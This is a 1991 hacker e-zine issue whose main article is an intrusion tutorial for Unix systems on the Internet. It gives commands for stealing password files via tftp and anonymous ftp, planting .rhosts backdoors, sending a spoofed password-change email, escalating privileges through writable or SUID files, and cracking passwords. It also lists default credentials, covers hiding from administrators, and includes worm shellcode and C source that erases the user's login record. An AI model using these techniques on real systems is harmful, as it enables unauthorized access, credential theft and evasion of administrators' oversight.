home *** CD-ROM | disk | FTP | other *** search
- ==============================================================================
- Volume 2, Issue 01 ---------------------------------- Thursday August 29, 1991
- ==============================================================================
- Legions of Lucifer - Phone Hackers United to Crash & Kill < LoL-Phuck >
- LoL-Phuck, Inc. / Issue Number 2.01 08.29.1991
- (C)Copr 1990,91 Cypher Productions - All rights reserved.
- ==============================================================================
- Legions of Lucifer founded on January 20, 1990 by: Digitone Cypher
- PHUCK, INC. Founded in 1986 by: Tripin Face (aka Cobra Commander)
- ------------------------------------------------------------------------------
- Legions of Lucifer merged with PHUCK, INC on January 15, 1991 at 11:41pm PST!
- (That is the same day the Persian Gulf War started [Operation Desert Storm])
- We are now: LoL-Phuck
- ------------------------------------------------------------------------------
- Note: Any and all information found in this production is not to be used or
- intended to be released to due any harm to anyone. This is mearly for 100%
- informational purposes only and neither writers, staff members, submitters nor
- anyone else that has anything to do with this released issue should be held
- resonsible for the deeds and misgivings that intentional may readers preform.
- ------------------------------------------------------------------------------
- All text file submissions should go to:
- West Coast Technologies, Inc. @ +1-213-274-1333
- (Use the guest account; User Name: GUEST Password: GUEST)
- ------------------------------------------------------------------------------
- -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
- ------------------------------------------------------------------------------
- EDITORS/PRESIDENTS NOTE:
- Okay basically, I am proud to say that LoL-Phuck is back from the "DEAD"
- to bring you finally good quality reading material. I am going to tell
- you guys right now, that we will not be producing that many text files,
- we will just release when we feel like it, and not on a monthly kind
- of basis. We are infact looking for writers, so if you do want to apply,
- you can find it in this text file where to. This certain file, is a joint
- release between SHA (a Swedish Hacking Group) and LoL-Phuck, so I hope
- you all like it... I would also, like to note that starting from this
- text file, LoL-Phuck will be totally different, this is the NEW and very
- IMPROVED Legions of Lucifer-Phuck. Watch for the hot text files and
- releases we will be producing in the months to come..
-
- Starting on November 2, 1991 "West Coast Technologies, Inc" will be changing
- area codes from 213 to 310. There will be a 6-Month period from November 2,
- 1991 to May 2, 1992, when both the new and the old ways of completing the
- calls to this number (274-1333) will work. Beginning May 2, 1992, calls
- dialed to the incorrect area code (213) will not be completed. You will
- reach a recording explaining the new dialing procedures and you will need to
- re-dial using the correct area code (310).
-
- ...Also, as you all know by now, there is a text file called "LOL-21.TXT"
- which was supposedly written by me, that is like a "Sexual Biography", I
- am going to state for the record that I *DID NOT* write that trash. Now,
- The next official issue will be "LOL-022.TXT" since #21 has been taken by
- the bogus text file, and we wouldn't want them to get confused now would
- we? This kinda of thing has happened before, I believe it was Issue #9,
- some jokers did the same prank, so I know how to handle it. Anyways, I
- would like to thank the rest of you for all your support.
-
- Digitone Cypher
- LoL-Phuck President
- 08-29-91
-
- I may be contacted at the following internet addresses:
-
- UUCP: {hplabs!hp-sdd ucsd nosc}!crash!pnet01!dcypher
- ARPA: crash!pnet01!dcypher@nosc.mil
- INET: dcypher@pnet01.cts.com
-
-
- ##############################################################################
- ----------------------[ Hacking UNIX Through Internet! ]----------------------
- ##############################################################################
- Written by: Mr Big <SHA> Release Date: Thursday August 29, 1991
- Editied by: Digitone Cypher Release Numb: 20th Issue
- ------------------------------------------------------------------------------
-
-
-
- This file is released in a joint venture with Swedish Hackers Association
- in Sweden.
-
- Note: S.H.A. are not members of LoL-Phuck, nor are LoL-Phuck members
- of S.H.A., both groups are separate to each other, this is a only
- a exchange in knowledge and assistance.
-
- Legions of Lucifer-Phuck is always looking for submissions of text files
- from small groups and from solo writers for worldwide distribution.
- We are also look for Distribution Sites and full/half-time writers. I
- can be contacted at the LoL-Phuck HQ @ 213/274+1333... thank you.
-
-
-
- ----------------
- - Introduction -
- ----------------
-
- I decided to write this file since I feel that there are no complete
- files about hacking unix systems. Many files only cover some small part
- in the art of hacking unix, and they don't cover hacking through
- Internet where aprox. 80% of all hacking takes place. I will not state
- that this file isn't complete either, since I have, on purpose, left out
- many things, i.e. bugs in programs that might be exploited, as the Internet
- Worm did. The reason I did this is because they will not be up-to-date for
- very long, even though some sites don't install all patches that are
- released. A good source for all these bugs are comp.unix.wizard,
- comp.unix.source and other newsgroups.
-
- This file isn't supposed to be for the beginner, so not everything in this
- file is explained in detail. YOU should have common knowledge of unix and
- Internet.
-
-
- /Mr Big - S.H.A.
-
-
- ---------------------------[ Internet Section ]-----------------------------
-
-
- ------------
- - Internet -
- ------------
-
- In the beginning a US Goverment network existed nationwide. When it
- grew larger the network where split into two networks, one research-
- (Arpanet) and one millitary network (Milnet). Later thousands of other
- networks worldwide where also connected and then Internet was born.
-
- Internet is a good way of hacking unix systems. There are more than
- ten thousand computer systems connected to Internet worldwide, running
- diffrent OS's, but Unix's are the major one used. You are also able to reach
- other networks or domains through Internet as ARPA network, NASA or the NSA
- network among others since they are part of the Internet.
-
- Approxitly 80% of all hacking take part on Internet. So be aware of
- that goverment agencies are watching known hacking sites and other sources
- for hackers.
-
- There are also many outdials connected to Internet worldwide that can
- be used for free calls, but this file isn't about that. Maybe I will compile
- my list of outdials some day and release it, but that is in the future.
-
- How do I get connected to Internet? Well, find you local dialup or go
- through some University, since most of them are connected to Internet.
-
- You can use the MIT Dialup if you don't have anything else:
-
- MIT LCS Network Dialup (617) 258-7111
-
- (I'm sorry that I can't supply you with a whole list of dialups, but
- since I'm from Sweden, I don't have the needs for US Dialups.)
-
-
- WARNING: Even if Internet seems to be untraceable, they can easily find
- out where you are hacking from. It's a bit harder if you
- use gateways before hacking, and don't use your own account
- unless you want to be in deep shit!
-
-
-
- -------
- - IRC -
- -------
-
- Internet Relay Chat or IRC for short, is a worldwide multi-chat system
- where users can exchange and discuss stuff real-time with the rest of the
- world. IRC has many channels you can use - both public, private and hidden.
- There are many users using this and you can easily get help and information
- this way, since many people out there knows what they are doing.
-
- Be aware that goverment agencies, like NCSA, might be tapping the public
- forums and users using them, atleast I would...
-
- Use this IRC server if you don't have anything else:
-
- bradenville.andrew.cmu.edu (128.2.54.2)
-
-
-
- ------------
- - Outdials -
- ------------
-
- There are also outdials on Internet that you can use. I will not include
- a list of those, since I know if they are abused, they will go down. You
- have to do your own search for them.
-
-
-
- ----------
- - Telnet -
- ----------
-
- Telnet is more or less equal to Internet. With Telnet you can access other
- systems on the Internet by entering the IP number or the same address of
- the computer.
-
- This is the most common way of connecting to other systems, even if there
- are other ways too... i.e. rlogin among others...
-
- #telnet [HOST] [PORT]
-
- Where HOST is the IP address or the name of the computer, and PORT is the
- port to connect to at the remote site.
-
- The port number range from 0-9999. Ports 0-255 are standard ports and well
- defined in unix. Ports 256-1023 are well known ports. Ports 1024-4999 are
- user defined ports. Ports from 5000 and upward are nondefined ports.
-
- Here are a small list of common port numbers and what they do:
-
- 21 FTP _ File Transfer Protocoll
- 25 SMTP - Or Simple Mail Transfer Protocol.
- 79 Finger - Reports information of users on remote system.
-
-
-
- -------
- - Ftp -
- -------
-
- File Transfer Protocol or FTP for short is a powerful way to send and
- receive files between Internet connected hosts.
-
- Many sites have set up their systems for anonymous ftp. They have done
- this since they want everyone to be able to get files and information
- without having a password. You should respect the ftp hours that are
- common, i.e. do NOT ftp at local business times, since these systems
- are used in companys, and work most of the time, and if you use ftp during
- these hours, they might close the opportunity for us to use ftp, and I
- would hate it if that happend.
-
- #ftp [HOST]
-
- Where HOST are the IP address or the name of the computer.
-
-
-
- ----------
- - Usenet -
- ----------
-
- Some people say that Usenet is the world larges BBS around, and in some
- sense they are right. Usenet consists of over 1000 forums for various
- topics, with hundreds of thosands of users worldwide using it.
-
- Many good forums for Unix information exists, i.e.
-
- misc.security
- comp.unix.vizard
- comp.unix.source
- comp.security.announce
- alt.security
-
- To use Usenet news just type:
-
- #rn <- This command might vary from
- system to system.
-
-
-
- --------
- - CERT -
- --------
-
- CERT or Computer Emergency Respons Team is an organization which main
- purpose are to help and prevent unautorized access to computer systems.
- They publish bug fixes for security holes in diffrent OS's, mainly in
- comp.security.announce. They also have their own site and support for
- anonymous ftp so you can directly ftp bug fixes from them or tools that
- helps system administrators to check the security on their own systems.
-
- One good system administration tool for checking the security on your own
- system are COPS, even if it dosen't detect all bugs that exists.
-
- System Managers: If you think you have a compromised system, I suggest that
- you contact CERT for assistance.
-
- The Internet address for CERT is:
-
- cert.sei.cmu.edu (128.237.253.5)
-
-
-
- ------------------------------[ Unix Section ]-------------------------------
-
-
- --------------------
- - Attacking target -
- --------------------
-
- Well... first we need an account on a remote system.. How do we get it?
- There are no easy ways for this, unless your system is trusted.
-
- It isn't easy even if your system is trusted, but it is easier :-)
-
-
- - .rhosts -
-
- Check out your own and other users .rhosts files.
- These files contains those machines and users that are trusted to log into
- the account, in which home group it resist, without any password.
-
- Note: You must use rlogin to use this feature.
-
- #cat .rhosts
- albert guest
- gnu.ai.mit.edu +
- #
-
- The plus (+) sign indicates that all users on gnu.ai.mit.edu are trusted to
- use this account without a password, and hopefully this user can log in on
- the same account on gnu.ai.mit.edu whithout a password.
-
- Note: You can set "+ +" to allow anyone anywhere to use the account,
- but be aware of that if the user dosen't have to enter his own
- password, he WILL contact the system administrators at his site.
-
-
- To scan all users .rhosts files use the following:
-
- #find / -name .rhosts -exec /bin/cat {} ";"
-
- If you stumble in on an account, then I suggest you add one entry to
- the .rhosts file to include the hostaddress of a system that allows guest
- users, and a plus sign (+). By doing this you don't have to create a shell
- with suid that can be discovered and you don't even have to hack another
- account to use the one you stumbled on.
-
- Remeber that the user or root must own the .rhosts file on many newer
- systems, i.e. Sun OS 4.x.
-
-
-
- - /etc/hosts.equiv -
-
- /etc/hosts.equiv contains system wide trusted remote sites.
-
- #cat /etc/hosts.equiv
- albert
- +@gnu.ai.mit.edu
- +
- #
-
- If /etc/hosts.equiv contains a plus sign (+) then all hosts are trusted.
- Many Sun system are deliverd with /etc/hosts.equiv set up this way.
-
-
- - finger -
-
- You can also always try to get some accounts on a remote site by using
- "finger @remotesite" and then guessing passwords...
-
- You can even try "finger user@remotesite", where user is a possible user
- on the remote site, i.e. guest to see if they have a guest account.
-
-
- - tftp -
-
- Some systems running tftp - Trivial FTP, have a bug allowing you
- to copy files that contain slashes, normaly tftp impose the security
- that the file must be world readable, but since /etc/passwd are
- world readable, try this:
-
- #tftp remotesite
- tftp> get /etc/passwd <- Try snatching /etc/passwd
- Recieved 30216 bytes in 32 seconds.
- tftp> quit
- #
-
- Note: Even if you are not physicaly are logged in at the remote host,
- this action is stored in the log files on the remote system.
-
-
- - ftp -
-
- Some systems running anonymous ftp and are not correctly setup might
- allow any user to move above their restricted (root) directory, and
- then access all files on the system.
-
- #ftp remotesite
- Connected to remotesite.
- 220 remotesite FTP server (Version 5.59 Mon Oct 29 15:33:08 EET 1990) ready.
- Name (remotesite:root): anonymous <- Login as anonymous
- 331 Guest login ok, send your login name as password.
- Password: <- Anything is ok
- 230- Guest login ok, access restrictions apply.
- ftp> cdup <- The magic one!
- 250 CWD command successful.
- ftp> get /etc/passwd /dev/tty <- Retreive /etc/passwd
- 200 PORT command successful.
- 150 Opening ASCII mode data connection for passwd (56 bytes).
- root:sEQ5aTPgP4bSc:0:0:Super-User:/:/bin/sh
- +::0:0:::
- 226 Transfer complete.
- local: /dev/tty remote: passwd
- 56 bytes received in 7e-06 seconds (1.1e+04 Kbytes/s)
- ftp> quit
- 221 Goodbye.
- #
-
-
- - sendmail -
-
- The Internet Worm exploited a debug mode in the original sendmail to
- coax sendmail into creating and executing a program that copied the
- rest of the Internet worm over to the target host.
-
- Note: Almost every system have been patched against this.
-
- #telnet remotesite 25
- Escape character is '^]'.
- 220 s350. Sendmail 4-0/SMI-4-0 ready at Wed, 10 Jan 91 15:35:01
- debug <- Try debug command
- 200 Debug set
- quit
- Connection closed by foreign host
- #
-
-
- - smtp -
-
- By connection to the smtp daemon on the remote site, you are able to send
- mail under any user identity, to any user on any system.
-
- If we want to try to fool a user on a system to change his password,
- (not likely he will be fooled), but we can easily do this,
- i.e. We want to send mail from root@tycho.ncsc.mil to john@gnu.mit.edu
-
- #telnet tycho.ncsc.mil 25
- Connected to tycho.ncsc.mil.
- Escape character is '^]'.
- 220 tycho.ncsc.mil. Sendmail 4-0/SMI-4-0 ready at Wed, 10 Jan 91 15:35:01
- rcpt to: john@gnu.mit.edu <- Receiving user
- 250 john... Recipient ok
- mail from: root@tycho.ncsc.mil <- Fake user
- 250 example... Sender ok
- data <- Instruct SMTP to receive data
- 354 Enter mail, end with "." on a line by itself
-
- We are testing new equipment and you are instructed to change your password
- to john as soon as you receive this message.
-
- root@tycho.ncsc.mil
- . <- End mail
- 250 Mail accepted
- quit <- Now disconnect from system
- Connection closed.
- #
-
-
-
- -------------------
- - Raise you privs -
- -------------------
-
- Many users talk about getting root access... It's nice but not necessary
- to have. The Internet worm didn't exploit root privs if it had it and
- it managed to hit many remote sites anyway.
-
- If you need root or not depends on what you want to do with the system.
-
-
- - System files -
-
- Check out if you have read/write access to the following files:
-
- #ls -l /dev/mem
- crwxrw-rw- root /dev/mem <- General physical memory
-
- #strings - /dev/mem <- Use this to get strings
- from memory to use
-
-
- #ls -l /dev/kmem
- crwxrw-rw- root /dev/kmem <- Kernal memory
-
- Kernal memory contains among other things.. psid table - Process ID table.
- I will not support any C program allowing changes to pid's in kernal memory
- since if someone doesn't know how to use it, then the whole system will
- crash! and we don't support that kind of action.
-
-
- #ls -l /etc/inittab <- Sys V startup file
- #ls -l /etc/rc* <- BSD startup file
- -rw-rw-rw- root /etc/inittab
- -rw-rw-rw- root /etc/rc <- Standard unix commands
- -rw-rw-rw- root /etc/rc.host <- running with root privs
- -rw-rw-rw- root /etc/rc.local <- #ex /etc/rc
-
-
- #ls -l /etc/inetd.conf <- Sys V demon configuration file
- #ls -l /usr/etc/inetd.conf <- BSD demon configuration file
- -rw-rw-rw- root /etc/inetd.conf <- After editing use #kill -1 initd
- -rw-rw-rw- root /usr/etc/inetd.conf <- After editing use #kill -1 initd
-
-
- #ls -l /etc/utmp <- Contains only who information
- -rw-rw-rw- root /etc/utmp <- Used to hide your session
- or to change your usernamne
- Check out the included source
- (hide.c) that does this.
- You can even read other users mail.
-
-
- #ls -l /usr/spool/cron/crontabs <- Sys V cron shell scripts
- #ls -l /usr/spool/cron <- Older unix systems
- -rw-rw-rw- root /usr/spool/cron/crontabs
- -rw-rw-rw- root /etc/spool/cron
-
- Check also local written system scripts that runs as root and other
- important system files.
-
-
- - System directorys -
-
- Check to see if you have write privs to any important system directory.
- i.e.
- /etc
- /bin
- /usr/etc
- /usr/bin
- /usr/lib
- ...
-
- To find writeable directories use:
- #find / -type d -perm -2 -print
-
- If you have write priv's to a directory but not to a file in the directory
- you can still copy the file over to another directory, modify it and
- copy it back.
-
- #cp /home/admin/.rhosts /home/mydir/newrhosts
- #ex /home/mydir/newrhosts
- #rm /home/admin/.rhosts
- #mv /home/mydir/newrhosts /home/admin/.rhosts
-
- or
-
- #cat /bin/sh > /home/admin/shell
-
- To find writeable files use:
- #find / -type f -perm -2 -file {} ";"
-
- Try modifying startup files for users,
- i.e.
- .login
- .cshrc
- .profile
- ...
-
- Note: The System Administrators might check to see if these files have
- been changed and then they check them to see if there was a backdoor
- installed or not.
-
-
- - UID files -
-
- I neat way of gaining better access is to search for files that
- have the UID bit set and then if they are writeable, copy /bin/sh over
- to the file to gain the privileges of the owner of the file.
-
- #find / -perm -4000 -exec /bin/ls -lad {} ";"
-
-
- - mbox -
-
- Reading other peoples mailboxs might give you a clue to their password.
- They might even have posted it to a friend on the system.
-
- Note: Reading other peoples electronic mail is a serious crime.
-
- #find / -name mbox -exec /bin/cat {} ";"
-
-
- - fingerd -
-
- The Internet worm exploitet a bug in the old fingerd program. The program
- used an obsolete C function called gets(). gets() copies input into
- a string, but doesn't count the number of characters copied. The old
- fingerd declaired a 512-byte buffer as an automatic variable, which placed
- this buffer on the stack. The Internet worm sent down 536 characters,
- overflowing the buffer, adding some code, and modified the return address,
- so that fingerd executed a Bourne shell instead of returning. This flaw
- was used only for VAX running BSD unix.
-
- VAX assembly-language code used:
-
- nop 400 nop's
- ...
- pushl $68732f store '/sh[null]' on stack
- pushl $6e69622f store '/bin' on stack
- movl sp,r10 save stack pointer in r10
- pushl $0 store 0 on stack (arg 3)
- pushl $0 store 0 on stack (arg 2)
- pushl r10 store string adress on stack (arg 1)
- pushl $3 store argument count on stack
- movl sp,ap set argument pointer to stack
- chmk $3b system call to execve
-
-
-
- -----------------------
- - Brute force hacking -
- ------------------------
-
- You can allways get a copy of /etc/passwd and then run it with a
- unix matcher guessing passwords. There are many programs around,
- so I think I'm wasting my time if I include one. This is the standard way
- of getting other accounts.. but it's hard to match root account password.
- If you wan't root access you have to use some other technique,
- but if you are satisfied with some user accounts, this is the best way.
-
- Be adviced that many new systems have passwords from 6-8 characters with
- a minimum of one non-alphabetical character, or they are running C2
- standard with shadow /etc/passwd, i.e. you can only see account names
- in /etc/passwd and not the encrypted password, i.e.
-
- #cat /etc/passwd <- Featuring C2 standard
-
- root:*:0:0:Super-User:/:/bin/sh <- You can see that they
- guest:*:3169:30:Guest User:/home/guest:/bin/rsh <- Have shadowing passwd
- +::0:0::: file since the password
- field contains '*'.
-
-
- You can always try to get accounts without password:
-
- #grep :: /etc/passwd
-
- Note: Many system administrators will have their eyes open for users who
- use A LOT of cpu time... so I suggest that you get yourself a password
- cracker for your own computer at home, and run your matching sessions
- there, even if it's slower.
-
-
-
- ----------
- - Hiding -
- ----------
-
- Since hacking is illegal you might want to hide from the System Manager
- at the site you are attacking. Please note that they often pay special
- attention to users using a big per cent of the cpu time (like when matching
- passwords). Also try to keep the number of files in your directory low,
- or atleast try to only store smaller files, anything to not draw
- attention to you.
-
- Change users frequently so if the system managers notice you they hopefully
- do not get any evidence against you.
-
- Check system files to see if they have been patch audit your access to them.
-
-
-
- - /etc/utmp -
-
- If you have write permissions to /etc/utmp you can easily remove
- yourself to show up on "who" listings, or even change your username.
-
- Check out the included C source for this, Hide.c.
-
- You can also read other users mail if you can alter /etc/utmp.
-
-
- - getty -
-
- Try running /etc/getty or /usr/etc/getty and login again.
-
- With this way you will hide from where you are calling from, i.e. your host
- address won't show up on "who" listnings.
-
-
- - running programs -
-
- If you use any program that you shouldn't i.e. running passsword
- matching programs, then I suggest that you first rename the program to some
- appropiate, i.e.
-
- #mv matcher emacs
- #mv passwd user
- #mv password magazine
-
- Then use the program:
-
- #emacs user magazine
-
- Or you simply change your source code to always use one file as the passwd
- file and another one for the dictionary.
-
-
- - /usr/spool/mail/ -
-
- There are times when you should edit users mail. If you are editing a file
- and then kill the process, it will post mail to your user stating that
- the process was aborted and that you can recover your file with a command.
- If the real user sees this, he might talk to the system administrators
- about it, and then they will start to investigate the account without
- your knowledge, and some day.... shit happends!
-
-
- - /etc/wtmp -
-
- If you have root access you might want to remove your trails from the
- system log file, /etc/wtmp, so they won't notice that you are fooling
- around with their system.
-
-
-
- ----------
- - Modems -
- ----------
-
- Many people hack just to lower their phonebills. Many unix systems has
- outgoing modem lines. You can use them if you have the right privileges.
-
- Try using the command cu - Call Unix:
-
- #cu 3143818460 <- Yeah! This number works...
-
-
-
- ---------------------
- - Standard accounts -
- ---------------------
-
- There are many standard accounts you can try hacking and some common too.
- Even if the system administrators are more aware of these holes, they still
- exists, and may be worth trying. Use the included list of standard and
- successful accounts.
-
- Login: Password: Login: Password:
-
- adm adm admin admin
- altos altos batch batch
- bin bin daemon daemon
- date date demo demo
- field service games games
- general general guest guest
- help help ingres ingres
- learn learn lp lp
- lpadmin lpadmin nuucp nuucp
- pub pub public public
- rje rje root root
- standard standard student student
- sync sync sys sys
- sysadm sysadm test test
- time time tty tty
- unix unix user user
- uucp uucp uuhost uuhost
- who who
-
-
-
- -------------------
- - Finding targets -
- -------------------
-
- This is the hard part if you don't know so much about Internet.
- I will not go further into this, because if everyone starts to use
- the techniques I have, it will be abused and then we might not have many
- systems that will be reachable through Internet. And we don't want
- that to happen, so you have to figure this out for yourself. If this
- sounds a bit on the selfish side, I truely regret it, but its for your
- own good.
-
-
-
- ---------------------
- - Crashing a system -
- ---------------------
-
- If you do crash a system on purpose, I hope you get caught and that
- you have to rot in prison for a long long time...
-
- Even if you stumble in on a root account and think that they are
- lamers who are in charge of the system, you NEVER trash the system
- on purpose!
-
- Never crash a system on purpose!
- Never delete files that you haven't created!
- Never remove personal mail to people on the system!
-
-
-
- -----------------------
- - Voice of the Author -
- -----------------------
-
- I have been working with this for some time now. Even if I don't really
- feel that this is complete, I have desided to release it as it is,
- (then I can write a follow up to this... <grin>), and hopefully you
- will enjoy it anyway.
-
- I will release some Internet/Unix hacking utilities in the near future,
- including backdoors and other nice programs you might need.
-
- If you need to contact me or S.H.A. you can send mail to me on the
- following networks:
-
- FidoNet : 2:201/610 username mrbig
- Internet : mrbig@DARKSIDE.COM
-
-
- #############################################################################
- SOURCE CODE SOURCE CODE SOURCE CODE SOURCE CODE SOURCE CODE
- #############################################################################
-
- --------
- - Hide -
- --------
-
-
- Speacial thanx to Nimh of Stealth Hackers who wrote this program and for
- letting me include it in this release. Thanx!
-
- Hide will let you remove yourself from /etc/utmp or change the information
- for you in /etc/utmp, i.e. username, host address or tty.
-
- Note: /etc/utmp must be writeable by world.
-
- <----CUT HERE-------CUT HERE-------CUT HERE-------CUT HERE------CUT HERE---->
-
-
- #include <stdio.h>
- #include <stdlib.h>
- #include <utmp.h>
- #include <pwd.h>
-
- #define UTMPFILE "/etc/utmp"
-
- FILE *utmpfile;
- char *utmp_tmp[10240];
-
- main (argc, argv)
- int argc;
- char *argv[];
- {
-
- struct utmp *user_slot;
- struct passwd *pwd;
- char line[10], name[10], host[20];
- int index;
-
- printf ("Welcome to HIDE ! FORMAT: hide [-i]\n\n");
- utmpfile = fopen (UTMPFILE, "r+");
- if (utmpfile == NULL)
- {
- printf ("ERROR while opening utmp file... exiting...\n");
- exit ();
- }
- index = ttyslot(); /* Get this users utmp index */
- index *= sizeof(struct utmp); /* 36 */
- fseek(utmpfile, index, 0);
- /**** Get real UID ****/
- pwd = getpwuid (getuid());
- if (pwd == NULL)
- printf ("Who the hell are you???");
- else
- {
- printf ("Real user identity:\n");
- printf ("NAME %s\n", pwd->pw_name);
- printf (" UID %d\n", pwd->pw_uid);
- printf (" GID %d\n\n", pwd->pw_gid);
- }
- /**** If ARG1 = "-i" then disappear from utmp ****/
- if ( (argc>1) && (!strcmp(argv[1], "-i")) )
- {
- index+=8; /* Rel PNT name */
- fseek(utmpfile, index, 0);
- fwrite ("\000", 8, 1, utmpfile); /* NO NAME */
- fwrite ("\000", 8, 1, utmpfile); /* NO HOST */
- fclose(utmpfile);
- printf ("Removed from utmp\n");
- exit();
- }
- /**** Change utmp data ****/
- printf ("Enter new data or return for default:\n");
- fseek(utmpfile, index, 0); /* Reset file PNT */
- fread(line, 8, 1, utmpfile); line[8]=NULL;
- fread(name, 8, 1, utmpfile); name[8]=NULL;
- fread(host, 16, 1, utmpfile); host[16]=NULL;
- fseek(utmpfile, index, 0); /* Reset file PNT */
- dinput (" TTY [%s]%s", line, 8);
- dinput ("NAME [%s]%s", name, 8);
- dinput ("HOST [%s]%s", host, 16);
- fclose(utmpfile);
- }
-
- /* Data input */
- dinput (prompt, string, size)
- char *prompt;
- char *string;
- int size;
- {
- char input[80];
- char *stat;
- char space[] = " ";
-
- space[20-strlen(string)] = '\000';
- printf (prompt, string, space);
- stat = gets (input);
- if (strlen(input) > 0)
- fwrite (input, size, 1, utmpfile);
- else
- fseek (utmpfile, size, 1);
- }
-
- <----CUT HERE-------CUT HERE-------CUT HERE-------CUT HERE------CUT HERE---->
-
-
- ==============================================================================
- ##############################################################################
- ## ####### ## ###### ## ## ## ## ###### ## ##
- ## ## ## ## #### ## ## ####### ## ## ## ## ##
- ## ## ## ## ###### ## ## ## ## ## #####
- ###### ####### ####### ## ## ## ####### ####### ## ##
- ##############################################################################
- ------------------------------------------------------------------------------
- (L)egions (o) (L)ucifer - (P)hone (H)ackers (U)nited (C)rash (K)ill
- ------------------------------------------------------------------------------
- Call these LoL-Phuck support boards for information or application
- inquiries:
-
- UNITED STATES:
- The Disconnected System 602/997+9918 Arizona NSA Dist Site
- West Coast Technologies, Inc. 213/274+1333 California AfterShock Beta
- The Magical Mystery Board 203/TMP+DOWN Connecticut THG Dist Site
- Blitzkrieg BBS <Node 1> 502/499+8933 Kentucky TAP Magazine HQ
- Blitzkrieg BBS <Node 2> 502/491+5198 Kentucky TAP Magazine HQ
- Free Speech BBS 618/457+3365 Illinois PHRACK Classic HQ
- Gonzo's Gabanza 513/890+0655 Ohio CHUD Dite Site
-
- EUROPE/OUTSIDE CONTINENTAL NORTH AMERICA:
- Interpol II +46-8-PR-IVAT Sweden SHA HQ
- ==============================================================================
- Legions of Lucifer-Phuck High Office Staff Member
-
- Prezident of [L.o.L] : Digitone Cypher
- Prezident of [Phuck] : Tripin Face (aka Cobra Commander)
- Out of US Representatives : Mr Big -=- Sweden
-
- ==============================================================================
- Legions of Lucifer - Phone Hackers United to Crash & Kill < LoL-Phuck >
- LoL-Phuck, Inc. / Issue Number 2.01 08.29.1991 Complete
- (C)Copr 1990,91 Cypher Productions - All rights reserved.
- ------------------------------------------------------------------------------
- All text file submissions should go to:
- West Coast Technologies, Inc. @ +1-213-274-1333
- (Use the guest account; User Name: GUEST Password: GUEST)
- ------------------------------------------------------------------------------
- ______________________________________________________________________________
- ==============================================================================
- ==============================================================================
- - Digitone Cypher (Main Editor/Layout/President)
- ==============================================================================
- 456835454/021491-0202
-
- Downloaded From P-80 International Information Systems 304-744-2253 12yrs+
-